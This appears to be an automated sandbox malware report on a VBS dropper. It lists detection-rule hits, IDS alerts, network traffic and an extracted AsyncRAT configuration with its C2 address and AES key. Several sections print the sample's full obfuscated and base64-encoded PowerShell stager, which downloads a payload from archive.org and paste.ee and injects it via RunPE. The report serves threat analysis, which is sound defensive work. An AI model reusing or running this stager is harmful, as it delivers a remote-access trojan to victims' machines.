Author: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton (fp): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "Iex( ('9'+'jDurl = v'+'e5ht'+'t'+'p'+'s://ia60'+'0100.us.a'+'rch'+'ive.o'+'rg/2'+'4/items/deta'+'h-'+'note-v/D'+'etah'+'NoteV.txt'+'ve5;'+'9jDbase64Co'+'nt'+'ent'+' = (N'+'ew-Obj'+'ec'+'t Sys'+'tem'+'.'+'Net.WebClient).Downl'+'oadS'+'tr'+'ing(9jDur'+'l'+');9jDb'+'ina'+'ry'+'C'+'ontent = '+'[Sys'+'tem.'+'Convert]::From'+'Ba'+'se64Str'+'i'+'ng('+'9'+'jDbase64Con'+'ten'+'t);9jDassembly = [R'+'eflect'+'ion.Assembl'+'y]::Load(9jD'+'bin'+'aryCon'+'ten'+'t);9jD'+'type = 9'+'jDassemb'+'ly.Get'+'Ty'+'pe(ve5RunPE.Homev'+'e5);9'+'jD'+'method = 9j'+'Dt'+'yp'+'e.GetMethod(ve5VAIve5);9jDmet'+'hod.'+'Inv'+'o'+'ke(9jDnull'+', [object'+'['+']]@(ve50/MN'+'Ta'+'A/d/ee.etsap//:spt'+'th'+'ve5 , ve5des'+'ativadove5 , ve5desati'+'vadove5 '+', '+'ve5desativ'+'adov'+'e5,ve'+'5AddIn'+'Pr'+'oce'+'ss32ve5,ve5ve5'+')'+')').RePlaCe('9jD',[strING][ChAR]36).RePlaCe('ve5',[strING][ChAR]39) )", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "Iex( ('9'+'jDurl = v'+'e5ht'+'t'+'p'+'s://ia60'+'0100.us.a'+'rch'+'ive.o'+'rg/2'+'4/items/deta'+'h-'+'note-v/D'+'etah'+'NoteV.txt'+'ve5;'+'9jDbase64Co'+'nt'+'ent'+' = (N'+'ew-Obj'+'ec'+'t Sys'+'tem'+'.'+'Net.WebClient).Downl'+'oadS'+'tr'+'ing(9jDur'+'l'+');9jDb'+'ina'+'ry'+'C'+'ontent = '+'[Sys'+'tem.'+'Convert]::From'+'Ba'+'se64Str'+'i'+'ng('+'9'+'jDbase64Con'+'ten'+'t);9jDassembly = [R'+'eflect'+'ion.Assembl'+'y]::Load(9jD'+'bin'+'aryCon'+'ten'+'t);9jD'+'type = 9'+'jDassemb'+'ly.Get'+'Ty'+'pe(ve5RunPE.Homev'+'e5);9'+'jD'+'method = 9j'+'Dt'+'yp'+'e.GetMethod(ve5VAIve5);9jDmet'+'hod.'+'Inv'+'o'+'ke(9jDnull'+', [object'+'['+']]@(ve50/MN'+'Ta'+'A/d/ee.etsap//:spt'+'th'+'ve5 , ve5des'+'ativadove5 , ve5desati'+'vadove5 '+', '+'ve5desativ'+'adov'+'e5,ve'+'5AddIn'+'Pr'+'oce'+'ss32ve5,ve5ve5'+')'+')').RePlaCe('9jD',[strING][ChAR]36).RePlaCe('ve5',[strING][ChAR]39) )", CommandLine|base64offset|contains: v,)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'SWV4KCAoJzknKydqRHVybCA9IHYnKydlNWh0JysndCcrJ3AnKydzOi8vaWE2MCcrJzAxMDAudXMuYScrJ3JjaCcrJ2l2ZS5vJysncmcvMicrJzQvaXRlbXMvZGV0YScrJ2gtJysnbm90ZS12L0QnKydldGFoJysnTm90ZVYudHh0JysndmU1OycrJzlqRGJhc2U2NENvJysnbnQnKydlbnQnKycgPSAoTicrJ2V3LU9iaicrJ2VjJysndCBTeXMnKyd0ZW0nKycuJysnTmV0LldlYkNsaWVudCkuRG93bmwnKydvYWRTJysndHInKydpbmcoOWpEdXInKydsJysnKTs5akRiJysnaW5hJysncnknKydDJysnb250ZW50ID0gJysnW1N5cycrJ3RlbS4nKydDb252ZXJ0XTo6RnJvbScrJ0JhJysnc2U2NFN0cicrJ2knKyduZygnKyc5JysnakRiYXNlNjRDb24nKyd0ZW4nKyd0KTs5akRhc3NlbWJseSA9IFtSJysnZWZsZWN0JysnaW9uLkFzc2VtYmwnKyd5XTo6TG9hZCg5akQnKydiaW4nKydhcnlDb24nKyd0ZW4nKyd0KTs5akQ

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Source: Process started

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\qiEmGNhUij.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\qiEmGNhUij.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\qiEmGNhUij.vbs", ProcessId: 1876, ProcessName: wscript.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'SWV4KCAoJzknKydqRHVybCA9IHYnKydlNWh0JysndCcrJ3AnKydzOi8vaWE2MCcrJzAxMDAudXMuYScrJ3JjaCcrJ2l2ZS5vJysncmcvMicrJzQvaXRlbXMvZGV0YScrJ2gtJysnbm90ZS12L0QnKydldGFoJysnTm90ZVYudHh0JysndmU1OycrJzlqRGJhc2U2NENvJysnbnQnKydlbnQnKycgPSAoTicrJ2V3LU9iaicrJ2VjJysndCBTeXMnKyd0ZW0nKycuJysnTmV0LldlYkNsaWVudCkuRG93bmwnKydvYWRTJysndHInKydpbmcoOWpEdXInKydsJysnKTs5akRiJysnaW5hJysncnknKydDJysnb250ZW50ID0gJysnW1N5cycrJ3RlbS4nKydDb252ZXJ0XTo6RnJvbScrJ0JhJysnc2U2NFN0cicrJ2knKyduZygnKyc5JysnakRiYXNlNjRDb24nKyd0ZW4nKyd0KTs5akRhc3NlbWJseSA9IFtSJysnZWZsZWN0JysnaW9uLkFzc2VtYmwnKyd5XTo6TG9hZCg5akQnKydiaW4nKydhcnlDb24nKyd0ZW4nKyd0KTs5akQnKyd0eXBlID0gOScrJ2pEYXNzZW1iJysnbHkuR2V0JysnVHknKydwZSh2ZTVSdW5QRS5Ib21ldicrJ2U1KTs5JysnakQnKydtZXRob2QgPSA5aicrJ0R0JysneXAnKydlLkdldE1ldGhvZCh2ZTVWQUl2ZTUpOzlqRG1ldCcrJ2hvZC4nKydJbnYnKydvJysna2UoOWpEbnVsbCcrJywgW29iamVjdCcrJ1snKyddXUAodmU1MC9NTicrJ1RhJysnQS9kL2VlLmV0c2FwLy86c3B0JysndGgnKyd2ZTUgLCB2ZTVkZXMnKydhdGl2YWRvdmU1ICwgdmU1ZGVzYXRpJysndmFkb3ZlNSAnKycsICcrJ3ZlNWRlc2F0aXYnKydhZG92JysnZTUsdmUnKyc1QWRkSW4nKydQcicrJ29jZScrJ3NzMzJ2ZTUsdmU1dmU1JysnKScrJyknKS5SZVBsYUNlKCc5akQnLFtzdHJJTkddW0NoQVJdMzYpLlJlUGxhQ2UoJ3ZlNScsW3N0cklOR11bQ2hBUl0zOSkgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'SWV4KCAoJzknKydqRHVybCA9IHYnKydlNWh0JysndCcrJ3AnKydzOi8vaWE2MCcrJzAxMDAudXMuYScrJ3JjaCcrJ2l2ZS5vJysncmcvMicrJzQvaXRlbXMvZGV0YScrJ2gtJysnbm90ZS12L0QnKydldGFoJysnTm90ZVYudHh0JysndmU1OycrJzlqRGJhc2U2NENvJysnbnQnKydlbnQnKycgPSAoTicrJ2V3LU9iaicrJ2VjJysndCBTeXMnKyd0ZW0nKycuJysnTmV0LldlYkNsaWVudCkuRG93bmwnKydvYWRTJysndHInKydpbmcoOWpEdXInKydsJysnKTs5akRiJysnaW5hJysncnknKydDJysnb250ZW50ID0gJysnW1N5cycrJ3RlbS4nKydDb252ZXJ0XTo6RnJvbScrJ0JhJysnc2U2NFN0cicrJ2knKyduZygnKyc5JysnakRiYXNlNjRDb24nKyd0ZW4nKyd0KTs5akRhc3NlbWJseSA9IFtSJysnZWZsZWN0JysnaW9uLkFzc2VtYmwnKyd5XTo6TG9hZCg5akQnKydiaW4nKydhcnlDb24nKyd0ZW4nKyd0KTs5akQnKyd0eXBlID0gOScrJ2pEYXNzZW1iJysnbHkuR2V0JysnVHknKydwZSh2ZTVSdW5QRS5Ib21ldicrJ2U1KTs5JysnakQnKydtZXRob2QgPSA5aicrJ0R0JysneXAnKydlLkdldE1ldGhvZCh2ZTVWQUl2ZTUpOzlqRG1ldCcrJ2hvZC4nKydJbnYnKydvJysna2UoOWpEbnVsbCcrJywgW29iamVjdCcrJ1snKyddXUAodmU1MC9NTicrJ1RhJysnQS9kL2VlLmV0c2FwLy86c3B0JysndGgnKyd2ZTUgLCB2ZTVkZXMnKydhdGl2YWRvdmU1ICwgdmU1ZGVzYXRpJysndmFkb3ZlNSAnKycsICcrJ3ZlNWRlc2F0aXYnKydhZG92JysnZTUsdmUnKyc1QWRkSW4nKydQcicrJ29jZScrJ3NzMzJ2ZTUsdmU1dmU1JysnKScrJyknKS5SZVBsYUNlKCc5akQnLFtzdHJJTkddW0NoQVJdMzYpLlJlUGxhQ2UoJ3ZlNScsW3N0cklOR11bQ2hBUl0zOSkgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD, CommandLine|base64offset|contains: &, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProc

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "Iex( ('9'+'jDurl = v'+'e5ht'+'t'+'p'+'s://ia60'+'0100.us.a'+'rch'+'ive.o'+'rg/2'+'4/items/deta'+'h-'+'note-v/D'+'etah'+'NoteV.txt'+'ve5;'+'9jDbase64Co'+'nt'+'ent'+' = (N'+'ew-Obj'+'ec'+'t Sys'+'tem'+'.'+'Net.WebClient).Downl'+'oadS'+'tr'+'ing(9jDur'+'l'+');9jDb'+'ina'+'ry'+'C'+'ontent = '+'[Sys'+'tem.'+'Convert]::From'+'Ba'+'se64Str'+'i'+'ng('+'9'+'jDbase64Con'+'ten'+'t);9jDassembly = [R'+'eflect'+'ion.Assembl'+'y]::Load(9jD'+'bin'+'aryCon'+'ten'+'t);9jD'+'type = 9'+'jDassemb'+'ly.Get'+'Ty'+'pe(ve5RunPE.Homev'+'e5);9'+'jD'+'method = 9j'+'Dt'+'yp'+'e.GetMethod(ve5VAIve5);9jDmet'+'hod.'+'Inv'+'o'+'ke(9jDnull'+', [object'+'['+']]@(ve50/MN'+'Ta'+'A/d/ee.etsap//:spt'+'th'+'ve5 , ve5des'+'ativadove5 , ve5desati'+'vadove5 '+', '+'ve5desativ'+'adov'+'e5,ve'+'5AddIn'+'Pr'+'oce'+'ss32ve5,ve5ve5'+')'+')').RePlaCe('9jD',[strING][ChAR]36).RePlaCe('ve5',[strING][ChAR]39) )", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "Iex( ('9'+'jDurl = v'+'e5ht'+'t'+'p'+'s://ia60'+'0100.us.a'+'rch'+'ive.o'+'rg/2'+'4/items/deta'+'h-'+'note-v/D'+'etah'+'NoteV.txt'+'ve5;'+'9jDbase64Co'+'nt'+'ent'+' = (N'+'ew-Obj'+'ec'+'t Sys'+'tem'+'.'+'Net.WebClient).Downl'+'oadS'+'tr'+'ing(9jDur'+'l'+');9jDb'+'ina'+'ry'+'C'+'ontent = '+'[Sys'+'tem.'+'Convert]::From'+'Ba'+'se64Str'+'i'+'ng('+'9'+'jDbase64Con'+'ten'+'t);9jDassembly = [R'+'eflect'+'ion.Assembl'+'y]::Load(9jD'+'bin'+'aryCon'+'ten'+'t);9jD'+'type = 9'+'jDassemb'+'ly.Get'+'Ty'+'pe(ve5RunPE.Homev'+'e5);9'+'jD'+'method = 9j'+'Dt'+'yp'+'e.GetMethod(ve5VAIve5);9jDmet'+'hod.'+'Inv'+'o'+'ke(9jDnull'+', [object'+'['+']]@(ve50/MN'+'Ta'+'A/d/ee.etsap//:spt'+'th'+'ve5 , ve5des'+'ativadove5 , ve5desati'+'vadove5 '+', '+'ve5desativ'+'adov'+'e5,ve'+'5AddIn'+'Pr'+'oce'+'ss32ve5,ve5ve5'+')'+')').RePlaCe('9jD',[strING][ChAR]36).RePlaCe('ve5',[strING][ChAR]39) )", CommandLine|base64offset|contains: v,)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'SWV4KCAoJzknKydqRHVybCA9IHYnKydlNWh0JysndCcrJ3AnKydzOi8vaWE2MCcrJzAxMDAudXMuYScrJ3JjaCcrJ2l2ZS5vJysncmcvMicrJzQvaXRlbXMvZGV0YScrJ2gtJysnbm90ZS12L0QnKydldGFoJysnTm90ZVYudHh0JysndmU1OycrJzlqRGJhc2U2NENvJysnbnQnKydlbnQnKycgPSAoTicrJ2V3LU9iaicrJ2VjJysndCBTeXMnKyd0ZW0nKycuJysnTmV0LldlYkNsaWVudCkuRG93bmwnKydvYWRTJysndHInKydpbmcoOWpEdXInKydsJysnKTs5akRiJysnaW5hJysncnknKydDJysnb250ZW50ID0gJysnW1N5cycrJ3RlbS4nKydDb252ZXJ0XTo6RnJvbScrJ0JhJysnc2U2NFN0cicrJ2knKyduZygnKyc5JysnakRiYXNlNjRDb24nKyd0ZW4nKyd0KTs5akRhc3NlbWJseSA9IFtSJysnZWZsZWN0JysnaW9uLkFzc2VtYmwnKyd5XTo6TG9hZCg5akQnKydiaW4nKydhcnlDb24nKyd0ZW4nKyd0KTs5akQ

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\qiEmGNhUij.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\qiEmGNhUij.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\qiEmGNhUij.vbs", ProcessId: 1876, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'SWV4KCAoJzknKydqRHVybCA9IHYnKydlNWh0JysndCcrJ3AnKydzOi8vaWE2MCcrJzAxMDAudXMuYScrJ3JjaCcrJ2l2ZS5vJysncmcvMicrJzQvaXRlbXMvZGV0YScrJ2gtJysnbm90ZS12L0QnKydldGFoJysnTm90ZVYudHh0JysndmU1OycrJzlqRGJhc2U2NENvJysnbnQnKydlbnQnKycgPSAoTicrJ2V3LU9iaicrJ2VjJysndCBTeXMnKyd0ZW0nKycuJysnTmV0LldlYkNsaWVudCkuRG93bmwnKydvYWRTJysndHInKydpbmcoOWpEdXInKydsJysnKTs5akRiJysnaW5hJysncnknKydDJysnb250ZW50ID0gJysnW1N5cycrJ3RlbS4nKydDb252ZXJ0XTo6RnJvbScrJ0JhJysnc2U2NFN0cicrJ2knKyduZygnKyc5JysnakRiYXNlNjRDb24nKyd0ZW4nKyd0KTs5akRhc3NlbWJseSA9IFtSJysnZWZsZWN0JysnaW9uLkFzc2VtYmwnKyd5XTo6TG9hZCg5akQnKydiaW4nKydhcnlDb24nKyd0ZW4nKyd0KTs5akQnKyd0eXBlID0gOScrJ2pEYXNzZW1iJysnbHkuR2V0JysnVHknKydwZSh2ZTVSdW5QRS5Ib21ldicrJ2U1KTs5JysnakQnKydtZXRob2QgPSA5aicrJ0R0JysneXAnKydlLkdldE1ldGhvZCh2ZTVWQUl2ZTUpOzlqRG1ldCcrJ2hvZC4nKydJbnYnKydvJysna2UoOWpEbnVsbCcrJywgW29iamVjdCcrJ1snKyddXUAodmU1MC9NTicrJ1RhJysnQS9kL2VlLmV0c2FwLy86c3B0JysndGgnKyd2ZTUgLCB2ZTVkZXMnKydhdGl2YWRvdmU1ICwgdmU1ZGVzYXRpJysndmFkb3ZlNSAnKycsICcrJ3ZlNWRlc2F0aXYnKydhZG92JysnZTUsdmUnKyc1QWRkSW4nKydQcicrJ29jZScrJ3NzMzJ2ZTUsdmU1dmU1JysnKScrJyknKS5SZVBsYUNlKCc5akQnLFtzdHJJTkddW0NoQVJdMzYpLlJlUGxhQ2UoJ3ZlNScsW3N0cklOR11bQ2hBUl0zOSkgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'SWV4KCAoJzknKydqRHVybCA9IHYnKydlNWh0JysndCcrJ3AnKydzOi8vaWE2MCcrJzAxMDAudXMuYScrJ3JjaCcrJ2l2ZS5vJysncmcvMicrJzQvaXRlbXMvZGV0YScrJ2gtJysnbm90ZS12L0QnKydldGFoJysnTm90ZVYudHh0JysndmU1OycrJzlqRGJhc2U2NENvJysnbnQnKydlbnQnKycgPSAoTicrJ2V3LU9iaicrJ2VjJysndCBTeXMnKyd0ZW0nKycuJysnTmV0LldlYkNsaWVudCkuRG93bmwnKydvYWRTJysndHInKydpbmcoOWpEdXInKydsJysnKTs5akRiJysnaW5hJysncnknKydDJysnb250ZW50ID0gJysnW1N5cycrJ3RlbS4nKydDb252ZXJ0XTo6RnJvbScrJ0JhJysnc2U2NFN0cicrJ2knKyduZygnKyc5JysnakRiYXNlNjRDb24nKyd0ZW4nKyd0KTs5akRhc3NlbWJseSA9IFtSJysnZWZsZWN0JysnaW9uLkFzc2VtYmwnKyd5XTo6TG9hZCg5akQnKydiaW4nKydhcnlDb24nKyd0ZW4nKyd0KTs5akQnKyd0eXBlID0gOScrJ2pEYXNzZW1iJysnbHkuR2V0JysnVHknKydwZSh2ZTVSdW5QRS5Ib21ldicrJ2U1KTs5JysnakQnKydtZXRob2QgPSA5aicrJ0R0JysneXAnKydlLkdldE1ldGhvZCh2ZTVWQUl2ZTUpOzlqRG1ldCcrJ2hvZC4nKydJbnYnKydvJysna2UoOWpEbnVsbCcrJywgW29iamVjdCcrJ1snKyddXUAodmU1MC9NTicrJ1RhJysnQS9kL2VlLmV0c2FwLy86c3B0JysndGgnKyd2ZTUgLCB2ZTVkZXMnKydhdGl2YWRvdmU1ICwgdmU1ZGVzYXRpJysndmFkb3ZlNSAnKycsICcrJ3ZlNWRlc2F0aXYnKydhZG92JysnZTUsdmUnKyc1QWRkSW4nKydQcicrJ29jZScrJ3NzMzJ2ZTUsdmU1dmU1JysnKScrJyknKS5SZVBsYUNlKCc5akQnLFtzdHJJTkddW0NoQVJdMzYpLlJlUGxhQ2UoJ3ZlNScsW3N0cklOR11bQ2hBUl0zOSkgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD, CommandLine|base64offset|contains: &, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProc

Suricata Signatures

ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 2 M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-02T05:23:14.424279+0200	2020424	1	Exploit Kit Activity Detected	188.114.96.3	443	192.168.2.9	49706	TCP

ETPRO JA3 Hash - Suspected ASYNCRAT Server Cert (ja3s)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-02T05:23:17.381443+0200	2842478	1	Malware Command and Control Activity Detected	148.113.165.11	3236	192.168.2.9	49707	TCP

ETPRO MALWARE Terse Request to paste .ee - Possible Download

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-02T05:23:14.264513+0200	2841075	1	Malware Command and Control Activity Detected	192.168.2.9	49706	188.114.96.3	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 4.2.powershell.exe.1dfb57c99b8.0.raw.unpack

Malware Configuration Extractor: AsyncRAT {"Server": "148.113.165.11", "Ports": "3236", "Version": "1.0.7", "Autorun": "false", "Install_Folder": "%AppData%", "AES_key": "V4JA2wRo4wMqThNx0lUpEh05ezE9saTH", "Mutex": "Dggx_gg", "Certificate": "MIICJjCCAY+gAwIBAgIVAKTSE5n95JKjYKaeetJmkZ8WSed/MA0GCSqGSIb3DQEBDQUAMFoxCzAJBgNVBAMMAmdnMRMwEQYDVQQLDApxd3FkYW5jaHVuMRwwGgYDVQQKDBNEY1JhdCBCeSBxd3FkYW5jaHVuMQswCQYDVQQHDAJTSDELMAkGA1UEBhMCQ04wHhcNMjMxMjAzMTAyNjE5WhcNMzQwOTExMTAyNjE5WjAQMQ4wDAYDVQQDDAVEY1JhdDCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEAphKhL5VEa5bZce3HMNoHj07+Nyd8QMtT+YV1vVQeIuxBYfOBrszAxxSRJayhzQwZjw8Du9bw87agBJW06h+GHW8MOufcZ+vKSxmpOL0ze3nUSJiOsfboKa06jcmEpo32D7LTxng9/mAGKb0YGEFUGx88yMDaa+NiBIn/LnWXvaECAwEAAaMyMDAwHQYDVR0OBBYEFMn0HT3AJLPhSr+HTYNM/0589fJ0MA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQENBQADgYEASB+of3f3t+mAacV7FNg5vwlQhgObMv2su+9BL5KxsQVNsBhluNcrZINzF5jKq/8VafO48B00S1O2MnNHmBXQlZ09Iw8Krvm1hZDmBErHPe0Bwwa5ox6ZpJLnodcOGX2JXMfEY2n/6QC0zva9sGQiyazHOYJRTk5RgJhN7j10nZY=", "ServerSignature": "XjeYWme80rSVhHa/BEFI1k3bRgPGhkJfVbkFLvepbqtufl6cOLxu+woVZZM7psVFdchemmHXVOOta4B/iTyJBzInHTih/neulrIRbgq5zdS22cEhHESwIui1ZS3o5BnYGcZRdZTdXfGH6otoicbOBzdpc41nx3BIOXuL5tRHqjI=", "BDOS": "null", "External_config_on_Pastebin": "false"}

Multi AV Scanner detection for domain / URL

Source: https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

Virustotal: Detection: 10%

Perma Link

Multi AV Scanner detection for submitted file

Source: qiEmGNhUij.vbs

Virustotal: Detection: 9%

Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: unknown	HTTPS traffic detected: 207.241.227.240:443 -> 192.168.2.9:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.9:49706 version: TLS 1.2

Source:

Binary string: System.Data.Linq.pdb source: powershell.exe, 00000004.00000002.1528856037.000001DFCD980000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1506314735.000001DFC61A7000.00000004.00000800.00020000.00000000.sdmp

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2842478 - Severity 1 - ETPRO JA3 Hash - Suspected ASYNCRAT Server Cert (ja3s) : 148.113.165.11:3236 -> 192.168.2.9:49707
Source: Network traffic	Suricata IDS: 2841075 - Severity 1 - ETPRO MALWARE Terse Request to paste .ee - Possible Download : 192.168.2.9:49706 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2020424 - Severity 1 - ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 2 M1 : 188.114.96.3:443 -> 192.168.2.9:49706

Connects to a pastebin service (likely for C&C)

Source: unknown

DNS query: name: paste.ee

Yara detected Generic Downloader

Source: Yara match

File source: 4.2.powershell.exe.1dfb57c99b8.0.raw.unpack, type: UNPACKEDPE

Source: global traffic

TCP traffic: 192.168.2.9:49707 -> 148.113.165.11:3236

Source: global traffic	HTTP traffic detected: GET /24/items/detah-note-v/DetahNoteV.txt HTTP/1.1Host: ia600100.us.archive.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /d/AaTNM/0 HTTP/1.1Host: paste.eeConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 207.241.227.240 207.241.227.240

Source: Joe Sandbox View	ASN Name: GOOGLE-PRIVATE-CLOUDUS GOOGLE-PRIVATE-CLOUDUS
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
Source: unknown	TCP traffic detected without corresponding DNS query: 148.113.165.11
